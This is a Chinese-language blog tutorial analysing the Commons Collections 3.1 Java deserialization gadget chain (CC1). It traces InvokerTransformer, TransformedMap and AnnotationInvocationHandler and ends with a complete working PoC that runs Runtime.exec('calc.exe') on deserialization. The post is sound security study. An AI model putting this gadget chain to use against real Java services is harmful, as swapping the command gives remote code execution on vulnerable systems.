Java代码审计原生反序列化CC链跟踪分析

news/2024/7/8 3:55:37

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog


在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=>gadget=>sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=>gadget=>source,即先找到造成命令执行的恶意类,然后通过该类倒一直倒推到可利用的反序列类。

本篇文章将按照sink=>gadget=>source的顺序,在挖洞的角度跟踪分析Commons Collections链

环境:Commons Collections 3.1 && jdk8u65

首先来到InvokerTransformer类,以下列出该类的构造函数和transform方法。

构造函数接收并设置三个参数:methodName、paramTypes、args

transform方法接收一个对象input,结合三个参数通过反射获取对象的类、方法,然后invoke调用执行(注意input不能为空)。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

试想若按照以下代码逻辑实例化一个invokerTransformer对象,然后调用transform方法不就相当于Runtime.getRuntime().exec("calc")弹出计算器吗?

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(r);

事实证明我们的猜想是正确的,如此一来便找到了sink执行点:InvokerTransformer#transform

由于InvokerTransformer类并不是可直接利用的反序列化类,所以还需要往前倒推,查找哪个类调用过transform方法。我们跟的是CC链,所以只需要关注Commons Collections 3.1包里的即可。

发现TransformedMap#checkSetValue方法调用过transform方法(正常情况下每个uasge都需要看)。

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

试想若控制valueTransformer为InvokerTransformer类对象,执行valueTransformer.transform(value)那不就相当于执行InvokerTransformer#transform方法吗?

首先观察到valueTransformer在构造方法TransformedMap中设置,但由于该构造方法是protected类型无法直接访问,所以继续找有没有其他public类型方法调用过该构造方法。

观察到decorate方法调用过该构造方法TransformedMap,由此想到可以利用decorate方法间接控制valueTransformer,即控制decorate方法的传参valueTransformer=new InvokerTransformer(),那么执行decorate方法就会触发构造方法设置valueTransformer为InvokerTransformer类对象。

此时,若执行valueTransformer.transformer() = new InvokerTransformer().transformer()。

大致流程:

当执行TransformedMap.decorate(map, null, new InvokerTransformer())
=>

会触发TransformedMap(map, null, new InvokerTransformer())
=>

会设置valueTransformer = new InvokerTransformer()
=>

若执行valueTransformer.transformer()
=>

等于执行new InvokerTransformer().transformer()

到这里我们已经控制了valueTransformer为InvokerTransformer类对象,但还没成功触发checkSetValue方法,而且checkSetValue方法是protected类型无法直接调用,所以还需继续往上查找哪个类调用过checkSetValue方法。

发现AbstractInputCheckedMapDecorator#setValue方法调用过checkSetValue方法。

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

同理,若想要调用TransformedMap#checkSetValue方法,需控制parent为TransformedMap类对象。

此时若执行AbstractInputCheckedMapDecorator#setValue方法,就会触发执行parent.checkSetValue(value),等于执行new TransformedMap().checkSetValue(value),然后触发valueTransformer.transform(value),由于之前又控制valueTransformer为InvokerTransformer类对象,最终同执行new InvokerTransformer().transform(value),故又和sink点联系了起来。 

大致流程:

控制parent = new TransformedMap()
=>

当执行AbstractInputCheckedMapDecorator.setValue(Object value)
=>

会触发parent.checkSetValue(value)
=>

等于执行new TransformedMap().checkSetValue(value)
=>

会触发valueTransformer.transform(value)
=>

等于执行new InvokerTransformer().transform(value)

一般情况下,当继续往上找到的类重写的readObject方法里调用了前一个类的方法时,就是gadget结束。

比如这里继续查找哪个类调用过AbstractInputCheckedMapDecorator#setValue方法,发现AnnotationInvocationHandler#readObject方法里调用过。同理,此时应该控制var5=new AbstractInputCheckedMapDecorator(),才能调用AbstractInputCheckedMapDecorator#setValue方法,于是gadget结束同时也找到了source。

总结:无非就是让前面调用方法的类发生更改,控制其等于后面的类,让其调用后面类的方法 。

最后附上Poc代码:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类(整个Runtime执行)
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformer
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, outerMap);


        //漏洞测试
        serializableObject(o);
        unserializableObject("ser.bin");
    }


    public static void serializableObject(Object o) throws Exception {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
        fileOutputStream.close();
    }

    public static void unserializableObject(String filename) throws Exception{
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        fileInputStream.close();
    }
}

学到这部分说实话还是比较吃力的,很多东西没有嚼透, 原因还是我的开发基础有点拉跨,打算等后面再重新好好学一下这部分。如果文章有错请多多指正,谢谢各位师傅支持!


http://lihuaxi.xjx100.cn/news/1985617.html

相关文章

[VulnHub靶机渗透] CTF7

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步…

LCD液晶屏驱动详解(3)

2.2、LCD控制寄存器LCDCON2 用于设置垂直方向各信号的时间参数&#xff0c;格式如下表所示&#xff1a; 功能位说明VBPD[31:24]VSYNC信号脉冲之后&#xff0c;还要经过(VBPD1)个HSYNC信号周期&#xff0c;有效的行数据才出现&#xff1b;LINEVAL[23:14]LCD的垂直宽度&#xf…

MySQL数据库面试知识点

1、数据库基础&#xff1a; MySQL是一个开源的关系型数据库管理系统&#xff0c;用于存储、管理和检索数据。它支持多种存储引擎&#xff0c;包括InnoDB、MyISAM等。MySQL是由瑞典公司MySQL AB开发&#xff0c;后来被Sun Microsystems收购&#xff0c;最终被甲骨文公司(Oracle…

Java学习5--基础知识

JAVA 流程控制 用户交互scanner 顺序结构 选择结构 循环结构 break & continue 练习 用户交互scanner/Scanner 对象 java提供的工具&#xff0c;用来获取用户输入。 java.util.Scanner是Java5引入的特征&#xff0c;用的时候程序最顶上加引用源 import java.util.Sc…

Vue.js动画库

1、vue2-animate https://animate.style/ 地址&#xff1a;https://www.npmjs.com/package/vue2-animate一个可以在你的网站中即用型跨浏览器动画库&#xff0c;非常适合主页、滑块和动画引导提示。这是Animate.css 的一个端口&#xff0c;用于 Vue.js 2.0/3.0 和Alpines.js …

【系统DFX】如何诊断占用过多 CPU、内存、IO 等的神秘进程?

热门面试问题&#xff1a;如何诊断占用过多 CPU、内存、IO 等的神秘进程&#xff1f; 下图展示了 Linux 系统中有用的工具。 &#x1f539;’vmstat’ - 报告有关进程、内存、分页、块 IO、陷阱和 CPU 活动的信息。&#x1f539;’iostat’ - 报告系统的 CPU 和输入/输出统计信…

Redis应用(1)缓存(1.2)------Redis三种缓存问题

三者出现的根本原因是&#xff1a;Redis缓存命中率下降&#xff0c;请求直接打到DB上了。 一、 缓存穿透&#xff1a; 1、定义&#xff1a; 缓存穿透是指客户端请求的数据在缓存中和数据库中都不存在&#xff0c;这样缓存永远不会生效&#xff0c;这些请求都会打到数据库。…

github无法访问此网站,github.com 的响应时间过长。

问题 点击之前书签页中保存的去github搜集的项目连接&#xff0c;出现github无法访问此网站&#xff0c;github.com 的响应时间过长。 解决办法 1、打开浏览器&#xff0c;点击百度&#xff1b; 2、搜索hub.nuaa.cf&#xff1b; 3、点击第一项&#xff0c;如下所示&#xf…